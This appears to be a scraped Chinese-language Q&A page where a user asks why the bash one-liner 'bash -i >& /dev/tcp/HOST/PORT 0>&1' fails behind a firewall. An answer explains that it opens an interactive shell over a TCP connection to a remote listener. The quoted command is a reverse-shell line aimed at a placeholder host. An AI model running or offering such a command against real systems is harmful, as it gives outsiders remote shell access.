Hel*_*los 17 bash firewall io-redirection tcp
我试过
bash -i >& /dev/tcp/HOST/PORT 0>&1
Run Code Online (Sandbox Code Playgroud)
但它似乎在防火墙后面不起作用。这段代码实际上做了什么,转发了哪些端口,它可以在防火墙后面工作吗?
Gil*_*il' 22
此代码段bash -i在与指定主机上的指定端口的 TCP 连接上运行一个新的 bash ( )交互式实例,该端口是在 bash 进程期间创建的。标准输出和标准错误通过此连接 ( >& /dev/tcp/HOST/PORT)发送,标准输入通过此连接读取(0>&1- 这应该0<&1但0>&1也有效)。
没有进行端口转发。显然,某种 TCP 服务器必须在该 HOST:PORT 上侦听和接受连接,并且防火墙必须让连接通过。